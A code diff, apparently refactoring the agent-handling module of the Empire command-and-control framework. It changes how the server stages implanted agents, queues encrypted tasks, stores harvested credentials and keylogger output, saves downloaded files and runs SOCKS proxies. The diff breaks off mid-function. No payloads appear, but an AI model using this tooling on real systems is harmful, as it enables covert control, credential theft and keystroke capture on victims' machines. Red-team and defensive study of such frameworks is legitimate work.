+ log.error(message, exc_info=True)
return "ERROR: HMAC verification failed"
if language.lower() == "powershell" or language.lower() == "csharp":
@@ -1235,22 +835,17 @@ def handle_agent_staging(
# client posts RSA key
if (len(message) < 400) or (not message.endswith("")):
- message = "[!] Invalid PowerShell key post format from {}".format(
- sessionID
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ message = f"Invalid PowerShell key post format from {sessionID}"
+ log.error(message)
return "ERROR: Invalid PowerShell key post format"
else:
# convert the RSA key from the stupid PowerShell export format
- rsaKey = encryption.rsa_xml_to_key(message)
+ rsa_key = encryption.rsa_xml_to_key(message)
+
+ if rsa_key:
+ message = f"Agent {sessionID} from {clientIP} posted valid PowerShell RSA key"
+ log.info(message)
- if rsaKey:
- message = "[*] Agent {} from {} posted valid PowerShell RSA key".format(
- sessionID, clientIP
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
nonce = helpers.random_string(16, charset=string.digits)
delay = listenerOptions["DefaultDelay"]["Value"]
jitter = listenerOptions["DefaultJitter"]["Value"]
@@ -1260,7 +855,7 @@ def handle_agent_staging(
lostLimit = listenerOptions["DefaultLostLimit"]["Value"]
# add the agent to the database now that it's "checked in"
- self.mainMenu.agents.add_agent(
+ agent = self.add_agent(
sessionID,
clientIP,
delay,
@@ -1271,56 +866,37 @@ def handle_agent_staging(
lostLimit,
nonce=nonce,
listener=listenerName,
+ db=db,
)
- if self.mainMenu.socketio:
- self.mainMenu.socketio.emit(
- "agents/new",
- self.get_agent_for_socket(sessionID),
- broadcast=True,
- )
+ client_session_key = agent.session_key
+ data = "%s%s" % (nonce, client_session_key)
- clientSessionKey = (
- self.mainMenu.agents.get_agent_session_key_db(sessionID)
- )
- data = "%s%s" % (nonce, clientSessionKey)
-
- data = data.encode("ascii", "ignore") # TODO: is this needed?
+ data = data.encode("ascii", "ignore")
# step 4 of negotiation -> server returns RSA(nonce+AESsession))
- encryptedMsg = encryption.rsa_encrypt(rsaKey, data)
+ encrypted_msg = encryption.rsa_encrypt(rsa_key, data)
# TODO: wrap this in a routing packet!
- return encryptedMsg
+ return encrypted_msg
else:
- message = "[!] Agent {} returned an invalid PowerShell public key!".format(
- sessionID
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ message = f"Agent {sessionID} returned an invalid PowerShell public key!"
+ log.error(message)
return "ERROR: Invalid PowerShell public key"
elif language.lower() == "python":
if (len(message) < 1000) or (len(message) > 2500):
- message = "[!] Invalid Python key post format from {}".format(
- sessionID
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ message = f"Invalid Python key post format from {sessionID}"
+ log.error(message)
return "Error: Invalid Python key post format from %s" % (sessionID)
else:
try:
int(message)
- except:
- message = "[!] Invalid Python key post format from {}".format(
- sessionID
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
- return "Error: Invalid Python key post format from {}".format(
- sessionID
- )
+ except Exception:
+ message = f"Invalid Python key post format from {sessionID}"
+ log.error(message)
+ return message
# client posts PUBc key
clientPub = int(message)
@@ -1330,11 +906,10 @@ def handle_agent_staging(
nonce = helpers.random_string(16, charset=string.digits)
- message = "[*] Agent {} from {} posted valid Python PUB key".format(
- sessionID, clientIP
+ message = (
+ f"Agent {sessionID} from {clientIP} posted valid Python PUB key"
)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ log.info(message)
delay = listenerOptions["DefaultDelay"]["Value"]
jitter = listenerOptions["DefaultJitter"]["Value"]
@@ -1344,7 +919,7 @@ def handle_agent_staging(
lostLimit = listenerOptions["DefaultLostLimit"]["Value"]
# add the agent to the database now that it's "checked in"
- self.mainMenu.agents.add_agent(
+ self.add_agent(
sessionID,
clientIP,
delay,
@@ -1353,76 +928,58 @@ def handle_agent_staging(
killDate,
workingHours,
lostLimit,
- sessionKey=serverPub.key,
+ sessionKey=serverPub.key.hex(),
nonce=nonce,
listener=listenerName,
+ language=language,
+ db=db,
)
- if self.mainMenu.socketio:
- self.mainMenu.socketio.emit(
- "agents/new",
- self.get_agent_for_socket(sessionID),
- broadcast=True,
- )
-
# step 4 of negotiation -> server returns HMAC(AESn(nonce+PUBs))
data = "%s%s" % (nonce, serverPub.publicKey)
- encryptedMsg = encryption.aes_encrypt_then_hmac(stagingKey, data)
+ encrypted_msg = encryption.aes_encrypt_then_hmac(stagingKey, data)
# TODO: wrap this in a routing packet?
- return encryptedMsg
+ return encrypted_msg
else:
- message = "[*] Agent {} from {} using an invalid language specification: {}".format(
- sessionID, clientIP, language
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
- return "ERROR: invalid language: {}".format(language)
+ message = f"Agent {sessionID} from {clientIP} using an invalid language specification: {language}"
+ log.info(message)
+ return f"ERROR: invalid language: {language}"
elif meta == "STAGE2":
# step 5 of negotiation -> client posts nonce+sysinfo and requests agent
try:
- sessionKey = self.agents[sessionID]["sessionKey"]
- if isinstance(sessionKey, str):
- sessionKey = (self.agents[sessionID]["sessionKey"]).encode("UTF-8")
+ session_key = self.agents[sessionID]["sessionKey"]
+ if isinstance(session_key, str):
+ if language == "PYTHON":
+ session_key = bytes.fromhex(session_key)
+ else:
+ session_key = (self.agents[sessionID]["sessionKey"]).encode(
+ "UTF-8"
+ )
- message = encryption.aes_decrypt_and_verify(sessionKey, encData)
+ message = encryption.aes_decrypt_and_verify(session_key, encData)
parts = message.split(b"|")
if len(parts) < 12:
- message = (
- "[!] Agent {} posted invalid sysinfo checkin format: {}".format(
- sessionID, message
- )
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ message = f"Agent {sessionID} posted invalid sysinfo checkin format: {message}"
+ log.info(message)
# remove the agent from the cache/database
- self.mainMenu.agents.remove_agent_db(sessionID)
- return (
- "ERROR: Agent %s posted invalid sysinfo checkin format: %s"
- % (sessionID, message)
- )
+ self.remove_agent_db(sessionID, db)
+ return message
# verify the nonce
- if int(parts[0]) != (
- int(self.mainMenu.agents.get_agent_nonce_db(sessionID)) + 1
- ):
- message = "[!] Invalid nonce returned from {}".format(sessionID)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
- # remove the agent from the cache/database
- self.mainMenu.agents.remove_agent_db(sessionID)
- return "ERROR: Invalid nonce returned from %s" % (sessionID)
+ if int(parts[0]) != (int(self.get_agent_nonce_db(sessionID, db)) + 1):
+ message = f"Invalid nonce returned from {sessionID}"
+ log.error(message)
+ self.remove_agent_db(sessionID, db)
+ return f"ERROR: Invalid nonce returned from {sessionID}"
- message = "[!] Nonce verified: agent {} posted valid sysinfo checkin format: {}".format(
- sessionID, message
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ message = f"Nonce verified: agent {sessionID} posted valid sysinfo checkin format: {message}"
+ log.debug(message)
- listener = str(parts[1], "utf-8")
+ _listener = str(parts[1], "utf-8")
domainname = str(parts[2], "utf-8")
username = str(parts[3], "utf-8")
hostname = str(parts[4], "utf-8")
@@ -1442,24 +999,18 @@ def handle_agent_staging(
except Exception as e:
message = (
- "[!] Exception in agents.handle_agent_staging() for {} : {}".format(
- sessionID, e
- )
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
- # remove the agent from the cache/database
- self.mainMenu.agents.remove_agent_db(sessionID)
- return (
- "Error: Exception in agents.handle_agent_staging() for %s : %s"
- % (sessionID, e)
+ f"Exception in agents.handle_agent_staging() for {sessionID} : {e}"
)
+ log.error(message, exc_info=True)
+ self.remove_agent_db(sessionID, db)
+ return f"Error: Exception in agents.handle_agent_staging() for {sessionID} : {e}"
if domainname and domainname.strip() != "":
username = "%s\\%s" % (domainname, username)
# update the agent with this new information
- self.mainMenu.agents.update_agent_sysinfo_db(
+ self.update_agent_sysinfo_db(
+ db,
sessionID,
listener=listenerName,
internal_ip=internal_ip,
@@ -1492,56 +1043,49 @@ def handle_agent_staging(
helpers.slackMessage(slack_webhook_url, slack_text)
# signal everyone that this agent is now active
- message = "[+] Initial agent {} from {} now active (Slack)".format(
- sessionID, clientIP
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
-
- agent = self.mainMenu.agents.get_agent_for_socket(sessionID)
- if self.mainMenu.socketio:
- self.mainMenu.socketio.emit("agents/stage2", agent, broadcast=True)
+ message = f"Initial agent {sessionID} from {clientIP} now active (Slack)"
+ log.info(message)
hooks.run_hooks(
- hooks.AFTER_AGENT_STAGE2_HOOK,
- self.get_agent_from_name_or_session_id(sessionID),
+ hooks.AFTER_AGENT_CHECKIN_HOOK,
+ db,
+ self.get_agent_from_name_or_session_id(sessionID, db),
)
# save the initial sysinfo information in the agent log
- output = messages.display_agent(agent, returnAsString=True)
- output += "[+] Agent %s now active:\n" % (sessionID)
- self.mainMenu.agents.save_agent_log(sessionID, output)
+ output = f"Agent {sessionID} now active"
+ self.save_agent_log(sessionID, output)
# if a script autorun is set, set that as the agent's first tasking
- autorun = self.get_autoruns_db()
- if autorun and autorun[0] != "" and autorun[1] != "":
- self.add_agent_task_db(sessionID, autorun[0], autorun[1])
-
- if (
- language.lower() in self.mainMenu.autoRuns
- and len(self.mainMenu.autoRuns[language.lower()]) > 0
- ):
- autorunCmds = ["interact %s" % sessionID]
- autorunCmds.extend(self.mainMenu.autoRuns[language.lower()])
- autorunCmds.extend(["lastautoruncmd"])
- self.mainMenu.resourceQueue.extend(autorunCmds)
- try:
- # this will cause the cmdloop() to start processing the autoruns
- self.mainMenu.do_agents("kickit")
- except Exception as e:
- if e == "endautorun":
- pass
- else:
- print(helpers.color("[!] End of Autorun Queue"))
-
- return "STAGE2: %s" % (sessionID)
+ # TODO VR autoruns haven't really worked in a while anyway...
+ # Would be nice to reintroduce it, but it's a little tricky in the
+ # multi-user architecture.
+ # autorun = self.get_autoruns_db()
+ # if autorun and autorun[0] != "" and autorun[1] != "":
+ # self.add_agent_task_db(sessionID, autorun[0], autorun[1])
+ #
+ # if (
+ # language.lower() in self.mainMenu.autoRuns
+ # and len(self.mainMenu.autoRuns[language.lower()]) > 0
+ # ):
+ # autorunCmds = ["interact %s" % sessionID]
+ # autorunCmds.extend(self.mainMenu.autoRuns[language.lower()])
+ # autorunCmds.extend(["lastautoruncmd"])
+ # self.mainMenu.resourceQueue.extend(autorunCmds)
+ # try:
+ # # this will cause the cmdloop() to start processing the autoruns
+ # self.mainMenu.do_agents("kickit")
+ # except Exception as e:
+ # if e == "endautorun":
+ # pass
+ # else:
+ # log.info("End of Autorun Queue")
+
+ return f"STAGE2: {sessionID}"
else:
- message = "[!] Invalid staging request packet from {} at {} : {}".format(
- sessionID, clientIP, meta
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ message = f"Invalid staging request packet from {sessionID} at {clientIP} : {meta}"
+ log.error(message)
def handle_agent_data(
self,
@@ -1558,11 +1102,10 @@ def handle_agent_data(
Abstracted out sufficiently for any listener module to use.
"""
if len(routingPacket) < 20:
- message = "[!] handle_agent_data(): routingPacket wrong length: {}".format(
- len(routingPacket)
+ message = (
+ f"handle_agent_data(): routingPacket wrong length: {len(routingPacket)}"
)
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="empire")
+ log.error(message)
return None
if isinstance(routingPacket, str):
@@ -1576,45 +1119,36 @@ def handle_agent_data(
# process each routing packet
for sessionID, (language, meta, additional, encData) in routingPacket.items():
if meta == "STAGE0" or meta == "STAGE1" or meta == "STAGE2":
- message = (
- "[*] handle_agent_data(): sessionID {} issued a {} request".format(
- sessionID, meta
- )
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
- dataToReturn.append(
- (
- language,
- self.handle_agent_staging(
- sessionID,
+ message = f"handle_agent_data(): sessionID {sessionID} issued a {meta} request"
+ log.debug(message)
+
+ with SessionLocal.begin() as db:
+ dataToReturn.append(
+ (
language,
- meta,
- additional,
- encData,
- stagingKey,
- listenerOptions,
- clientIP,
- ),
+ self.handle_agent_staging(
+ sessionID,
+ language,
+ meta,
+ additional,
+ encData,
+ stagingKey,
+ listenerOptions,
+ clientIP,
+ db,
+ ),
+ )
)
- )
elif sessionID not in self.agents:
- message = "[!] handle_agent_data(): sessionID {} not present".format(
- sessionID
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
- dataToReturn.append(
- ("", "ERROR: sessionID %s not in cache!" % (sessionID))
- )
+ message = f"handle_agent_data(): sessionID {sessionID} not present"
+ log.warning(message)
+
+ dataToReturn.append(("", f"ERROR: sessionID {sessionID} not in cache!"))
elif meta == "TASKING_REQUEST":
- message = "[*] handle_agent_data(): sessionID {} issued a TASKING_REQUEST".format(
- sessionID
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ message = f"handle_agent_data(): sessionID {sessionID} issued a TASKING_REQUEST"
+ log.debug(message)
dataToReturn.append(
(
language,
@@ -1624,12 +1158,9 @@ def handle_agent_data(
elif meta == "RESULT_POST":
message = (
- "[*] handle_agent_data(): sessionID {} issued a RESULT_POST".format(
- sessionID
- )
+ f"handle_agent_data(): sessionID {sessionID} issued a RESULT_POST"
)
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ log.debug(message)
dataToReturn.append(
(
language,
@@ -1638,11 +1169,8 @@ def handle_agent_data(
)
else:
- message = "[!] handle_agent_data(): sessionID {} gave unhandled meta tag in routing packet: {}".format(
- sessionID, meta
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ message = f"handle_agent_data(): sessionID {sessionID} gave unhandled meta tag in routing packet: {meta}"
+ log.error(message)
return dataToReturn
def handle_agent_request(
@@ -1654,55 +1182,62 @@ def handle_agent_request(
TODO: does this need self.lock?
"""
if sessionID not in self.agents:
- message = "[!] handle_agent_request(): sessionID {} not present".format(
- sessionID
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ message = f"handle_agent_request(): sessionID {sessionID} not present"
+ log.error(message)
return None
- # update the client's last seen time
- if update_lastseen:
- self.update_agent_lastseen_db(sessionID)
-
- # retrieve all agent taskings from the cache
- taskings = self.get_agent_tasks_db(sessionID)
-
- if taskings and taskings != []:
+ with SessionLocal.begin() as db:
+ # update the client's last seen time
+ # It's possible updating the last seen time over and over
+ # contributes to write contention
+ if update_lastseen:
+ self.update_agent_lastseen_db(sessionID, db)
+
+ # retrieve all agent taskings from the cache
+ taskings = self.get_queued_agent_tasks_db(sessionID, db)
+ temp_taskings = self.get_queued_agent_temporary_tasks(sessionID)
+ taskings.extend(temp_taskings)
+
+ if taskings and taskings != []:
+ all_task_packets = b""
+
+ # build tasking packets for everything we have
+ for tasking in taskings:
+ input_full = tasking.input_full
+ if tasking.task_name == "TASK_CSHARP":
+ with open(tasking.input_full.split("|")[0], "rb") as f:
+ input_full = f.read()
+ input_full = base64.b64encode(input_full).decode("UTF-8")
+ input_full += tasking.input_full.split("|", maxsplit=1)[1]
+ all_task_packets += packets.build_task_packet(
+ tasking.task_name, input_full, tasking.id
+ )
+ # get the session key for the agent
+ session_key = self.agents[sessionID]["sessionKey"]
- all_task_packets = b""
+ if self.agents[sessionID]["language"].lower() in [
+ "python",
+ "ironpython",
+ ]:
+ try:
+ session_key = bytes.fromhex(session_key)
+ except Exception:
+ pass
- # build tasking packets for everything we have
- for tasking in taskings:
- input_full = tasking.input_full
- if tasking.task_name == "TASK_CSHARP":
- with open(tasking.input_full.split("|")[0], "rb") as f:
- input_full = f.read()
- input_full = base64.b64encode(input_full).decode("UTF-8")
- input_full += tasking.input_full.split("|", maxsplit=1)[1]
- all_task_packets += packets.build_task_packet(
- tasking.task_name, input_full, tasking.id
+ # encrypt the tasking packets with the agent's session key
+ encrypted_data = encryption.aes_encrypt_then_hmac(
+ session_key, all_task_packets
)
- # get the session key for the agent
- session_key = self.agents[sessionID]["sessionKey"]
+ return packets.build_routing_packet(
+ stagingKey,
+ sessionID,
+ language,
+ meta="SERVER_RESPONSE",
+ encData=encrypted_data,
+ )
- # encrypt the tasking packets with the agent's session key
- encrypted_data = encryption.aes_encrypt_then_hmac(
- session_key, all_task_packets
- )
-
- return packets.build_routing_packet(
- stagingKey,
- sessionID,
- language,
- meta="SERVER_RESPONSE",
- encData=encrypted_data,
- )
-
- # if no tasking for the agent
- else:
- return None
+ return None
def handle_agent_response(self, sessionID, encData, update_lastseen=False):
"""
@@ -1711,21 +1246,19 @@ def handle_agent_response(self, sessionID, encData, update_lastseen=False):
TODO: does this need self.lock?
"""
-
if sessionID not in self.agents:
- message = "[!] handle_agent_response(): sessionID {} not in cache".format(
- sessionID
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ message = f"handle_agent_response(): sessionID {sessionID} not in cache"
+ log.error(message)
return None
# extract the agent's session key
sessionKey = self.agents[sessionID]["sessionKey"]
- # update the client's last seen time
- if update_lastseen:
- self.update_agent_lastseen_db(sessionID)
+ if self.agents[sessionID]["language"].lower() in ["python", "ironpython"]:
+ try:
+ sessionKey = bytes.fromhex(sessionKey)
+ except Exception:
+ pass
try:
# verify, decrypt and depad the packet
@@ -1744,49 +1277,51 @@ def handle_agent_response(self, sessionID, encData, update_lastseen=False):
data,
) in responsePackets:
# process the agent's response
- self.process_agent_packet(sessionID, responseName, taskID, data)
+ with SessionLocal.begin() as db:
+ if update_lastseen:
+ self.update_agent_lastseen_db(sessionID, db)
+
+ self.process_agent_packet(sessionID, responseName, taskID, data, db)
results = True
if results:
# signal that this agent returned results
- message = "[*] Agent {} returned results.".format(sessionID)
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
+ message = f"Agent {sessionID} returned results."
+ log.info(message)
# return a 200/valid
return "VALID"
except Exception as e:
- message = "[!] Error processing result packet from {} : {}".format(
- sessionID, e
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(sessionID))
-
+ message = f"Error processing result packet from {sessionID} : {e}"
+ log.error(message, exc_info=True)
return None
- def process_agent_packet(self, session_id, response_name, task_id, data):
+ def process_agent_packet(
+ self, session_id, response_name, task_id, data, db: Session
+ ):
"""
Handle the result packet based on sessionID and responseName.
"""
key_log_task_id = None
- # see if we were passed a name instead of an ID
- name_id = self.get_agent_id_db(session_id)
- if name_id:
- session_id = name_id
+ agent = (
+ db.query(models.Agent).filter(models.Agent.session_id == session_id).first()
+ )
# report the agent result in the reporting database
- message = "[*] Agent {} got results".format(session_id)
- signal = json.dumps(
- {
- "print": False,
- "message": message,
- "response_name": response_name,
- "task_id": task_id,
- "event_type": "result",
- }
+ message = f"Agent {session_id} got results"
+ log.info(message)
+
+ tasking = (
+ db.query(models.Tasking)
+ .filter(
+ and_(
+ models.Tasking.id == task_id,
+ models.Tasking.agent_id == session_id,
+ )
+ )
+ .first()
)
- dispatcher.send(signal, sender="agents/{}".format(session_id))
# insert task results into the database, if it's not a file
if (
@@ -1795,18 +1330,6 @@ def process_agent_packet(self, session_id, response_name, task_id, data):
not in ["TASK_DOWNLOAD", "TASK_CMD_JOB_SAVE", "TASK_CMD_WAIT_SAVE"]
and data is not None
):
- # Update result with data
- tasking = (
- Session()
- .query(models.Tasking)
- .filter(
- and_(
- models.Tasking.id == task_id,
- models.Tasking.agent_id == session_id,
- )
- )
- .first()
- )
# add keystrokes to database
if "function Get-Keystrokes" in tasking.input:
key_log_task_id = tasking.id
@@ -1826,58 +1349,33 @@ def process_agent_packet(self, session_id, response_name, task_id, data):
tasking.original_output = data
tasking.output = data
- hooks.run_hooks(hooks.BEFORE_TASKING_RESULT_HOOK, tasking)
- tasking = hooks.run_filters(hooks.BEFORE_TASKING_RESULT_FILTER, tasking)
-
- Session().commit()
-
- hooks.run_hooks(hooks.AFTER_TASKING_RESULT_HOOK, tasking)
-
- if (
- self.mainMenu.socketio
- and "function Get-Keystrokes" not in tasking.input
- ):
- result_string = tasking.output
- if isinstance(result_string, bytes):
- result_string = tasking.output.decode("UTF-8")
-
- self.mainMenu.socketio.emit(
- f"agents/{session_id}/task",
- {
- "taskID": tasking.id,
- "command": tasking.input,
- "results": result_string,
- "user_id": tasking.user_id,
- "created_at": tasking.created_at,
- "updated_at": tasking.updated_at,
- "username": tasking.user.username,
- "agent": tasking.agent_id,
- },
- broadcast=True,
- )
+ hooks.run_hooks(hooks.BEFORE_TASKING_RESULT_HOOK, db, tasking)
+ db, tasking = hooks.run_filters(
+ hooks.BEFORE_TASKING_RESULT_FILTER, db, tasking
+ )
+
+ db.flush()
# TODO: for heavy traffic packets, check these first (i.e. SOCKS?)
# so this logic is skipped
if response_name == "ERROR":
# error code
- message = "[!] Received error response from {}".format(session_id)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(session_id))
+ message = f"Received error response from {session_id}"
+ log.error(message)
if isinstance(data, bytes):
data = data.decode("UTF-8")
# update the agent log
- self.save_agent_log(session_id, "[!] Error response: " + data)
+ self.save_agent_log(session_id, "Error response: " + data)
elif response_name == "TASK_SYSINFO":
# sys info response -> update the host info
data = data.decode("utf-8")
parts = data.split("|")
if len(parts) < 12:
- message = "[!] Invalid sysinfo response from {}".format(session_id)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(session_id))
+ message = f"Invalid sysinfo response from {session_id}"
+ log.error(message)
else:
# extract appropriate system information
listener = parts[1]
@@ -1901,7 +1399,8 @@ def process_agent_packet(self, session_id, response_name, task_id, data):
username = "%s\\%s" % (domainname, username)
# update the agent with this new information
- self.mainMenu.agents.update_agent_sysinfo_db(
+ self.update_agent_sysinfo_db(
+ db,
session_id,
listener=listener,
internal_ip=internal_ip,
@@ -1938,22 +1437,21 @@ def process_agent_packet(self, session_id, response_name, task_id, data):
elif response_name == "TASK_EXIT":
# exit command response
# let everyone know this agent exited
- message = "[!] Agent {} exiting".format(session_id)
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(session_id))
+ message = f"Agent {session_id} exiting"
+ log.error(message)
# update the agent results and log
self.save_agent_log(session_id, data)
- # set agent to killed in the database
- agent = (
- Session()
- .query(models.Agent)
- .filter(models.Agent.session_id == session_id)
- .first()
- )
- agent.killed = True
- Session().commit()
+ # set agent to archived in the database
+ agent.archived = True
+
+ # Close socks client
+ if session_id in self.socksthread:
+ agent.socks = False
+ self.socksclient[session_id].shutdown()
+ time.sleep(1)
+ self.socksthread[session_id].kill()
elif response_name == "TASK_SHELL":
# shell command response
@@ -1965,6 +1463,35 @@ def process_agent_packet(self, session_id, response_name, task_id, data):
# update the agent log
self.save_agent_log(session_id, data)
+ elif response_name == "TASK_SOCKS":
+ if session_id not in self.socksthread:
+ try:
+ log.info(f"Starting SOCKS client for {session_id}")
+ self.socksqueue[session_id] = queue.Queue()
+ client = create_client(
+ self.mainMenu, self.socksqueue[session_id], session_id
+ )
+ self.socksthread[session_id] = KThread(
+ target=start_client,
+ args=(client, agent.socks_port),
+ )
+
+ self.socksclient[session_id] = client
+ self.socksthread[session_id].daemon = True
+ self.socksthread[session_id].start()
+
+ log.info(f'SOCKS client for "{agent.name}" successfully started')
+ except Exception:
+ log.error(f'SOCKS client for "{agent.name}" failed to started')
+ else:
+ log.info("SOCKS server already exists")
+
+ self.save_agent_log(session_id, data)
+
+ elif response_name == "TASK_SOCKS_DATA":
+ self.socksqueue[session_id].put(base64.b64decode(data))
+ return
+
elif response_name == "TASK_DOWNLOAD":
# file download
if isinstance(data, bytes):
@@ -1972,21 +1499,34 @@ def process_agent_packet(self, session_id, response_name, task_id, data):
parts = data.split("|")
if len(parts) != 4:
- message = "[!] Received invalid file download response from {}".format(
- session_id
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(session_id))
+ message = f"Received invalid file download response from {session_id}"
+ log.error(message)
else:
index, path, filesize, data = parts
# decode the file data and save it off as appropriate
file_data = helpers.decode_base64(data.encode("UTF-8"))
- name = self.get_agent_name_db(session_id)
if index == "0":
- self.save_file(name, path, file_data, filesize)
+ self.save_file(
+ session_id,
+ path,
+ file_data,
+ filesize,
+ tasking,
+ agent.language,
+ db,
+ )
else:
- self.save_file(name, path, file_data, filesize, append=True)
+ self.save_file(
+ session_id,
+ path,
+ file_data,
+ filesize,
+ tasking,
+ agent.language,
+ db,
+ append=True,
+ )
# update the agent log
msg = "file download: %s, part: %s" % (path, index)
self.save_agent_log(session_id, msg)
@@ -1994,8 +1534,8 @@ def process_agent_packet(self, session_id, response_name, task_id, data):
elif response_name == "TASK_DIR_LIST":
try:
result = json.loads(data.decode("utf-8"))
- self.update_dir_list(session_id, result)
- except ValueError as e:
+ self.update_dir_list(session_id, result, db=db)
+ except ValueError:
pass
self.save_agent_log(session_id, data)
@@ -2016,7 +1556,6 @@ def process_agent_packet(self, session_id, response_name, task_id, data):
pass
elif response_name == "TASK_GETJOBS":
-
if not data or data.strip().strip() == "":
data = "[*] No active jobs"
@@ -2030,41 +1569,41 @@ def process_agent_packet(self, session_id, response_name, task_id, data):
self.save_agent_log(session_id, data)
elif response_name == "TASK_CMD_WAIT":
-
# dynamic script output -> blocking
# see if there are any credentials to parse
- time = helpers.get_datetime()
+ date_time = helpers.get_datetime()
creds = helpers.parse_credentials(data)
if creds:
for cred in creds:
-
hostname = cred[4]
if hostname == "":
- hostname = self.get_agent_hostname_db(session_id)
-
- osDetails = self.get_agent_os_db(session_id)
-
- self.mainMenu.credentials.add_credential(
- cred[0],
- cred[1],
- cred[2],
- cred[3],
- hostname,
- osDetails,
- cred[5],
- time,
+ hostname = agent.hostname
+
+ os_details = agent.os_details
+
+ self.mainMenu.credentialsv2.create_credential(
+ # idk if i want to import api dtos here, but it's not a big deal for now.
+ db,
+ CredentialPostRequest(
+ credtype=cred[0],
+ domain=cred[1],
+ username=cred[2],
+ password=cred[3],
+ host=hostname,
+ os=os_details,
+ sid=cred[5],
+ notes=date_time,
+ ),
)
# update the agent log
self.save_agent_log(session_id, data)
elif response_name == "TASK_CMD_WAIT_SAVE":
-
# dynamic script output -> blocking, save data
- name = self.get_agent_name_db(session_id)
# extract the file save prefix and extension
prefix = data[0:15].strip().decode("UTF-8")
@@ -2074,60 +1613,44 @@ def process_agent_packet(self, session_id, response_name, task_id, data):
# save the file off to the appropriate path
save_path = "%s/%s_%s.%s" % (
prefix,
- self.get_agent_hostname_db(session_id),
+ agent.hostname,
helpers.get_file_datetime(),
extension,
)
- final_save_path = self.save_module_file(name, save_path, file_data)
+ final_save_path = self.save_module_file(
+ session_id, save_path, file_data, agent.language
+ )
# update the agent log
- msg = "[+] Output saved to .%s" % (final_save_path)
+ msg = f"Output saved to .{final_save_path}"
self.save_agent_log(session_id, msg)
- # Retrieve tasking data
- tasking = (
- Session()
- .query(models.Tasking)
- .filter(
- and_(
- models.Tasking.id == task_id, models.Tasking.agent == session_id
- )
- )
- .first()
- )
-
- # Send server notification for saving file
- self.mainMenu.socketio.emit(
- f"agents/{session_id}/task",
- {
- "taskID": tasking.id,
- "command": tasking.input,
- "results": msg,
- "user_id": tasking.user_id,
- "created_at": tasking.created_at,
- "updated_at": tasking.updated_at,
- "username": tasking.user.username,
- "agent": tasking.agent,
- },
- broadcast=True,
+ # attach file to tasking
+ download = models.Download(
+ location=final_save_path,
+ filename=final_save_path.split("/")[-1],
+ size=os.path.getsize(final_save_path),
)
+ db.add(download)
+ db.flush()
+ tasking.downloads.append(download)
elif response_name == "TASK_CMD_JOB":
# check if this is the powershell keylogging task, if so, write output to file instead of screen
if key_log_task_id and key_log_task_id == task_id:
- safePath = os.path.abspath(f"{self.mainMenu.directory['downloads']}")
- savePath = f"{self.mainMenu.directory['downloads']}/{session_id}/keystrokes.txt"
- if not os.path.abspath(savePath).startswith(safePath):
- message = (
- "[!] WARNING: agent {} attempted skywalker exploit!".format(
- self.sessionID
- )
- )
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
+ download_dir = Path(empire_config.directories.downloads)
+ safe_path = download_dir.absolute()
+ save_path = download_dir / session_id / "keystrokes.txt"
+
+ # fix for 'skywalker' exploit by @zeroSteiner
+ # I'm not really sure if this can actually still be exploited, its gone through
+ # quite a few refactors. But we'll keep it for now.
+ if not str(save_path.absolute()).startswith(str(safe_path)):
+ message = f"agent {session_id} attempted skywalker exploit!"
+ log.warning(message)
return
- with open(savePath, "a+") as f:
+ with open(save_path, "a+") as f:
if isinstance(data, bytes):
data = data.decode("UTF-8")
new_results = (
@@ -2142,27 +1665,30 @@ def process_agent_packet(self, session_id, response_name, task_id, data):
else:
# dynamic script output -> non-blocking
# see if there are any credentials to parse
- time = helpers.get_datetime()
+ date_time = helpers.get_datetime()
creds = helpers.parse_credentials(data)
if creds:
for cred in creds:
-
hostname = cred[4]
if hostname == "":
- hostname = self.get_agent_hostname_db(session_id)
-
- osDetails = self.get_agent_os_db(session_id)
-
- self.mainMenu.credentials.add_credential(
- cred[0],
- cred[1],
- cred[2],
- cred[3],
- hostname,
- osDetails,
- cred[5],
- time,
+ hostname = agent.hostname
+
+ os_details = agent.os_details
+
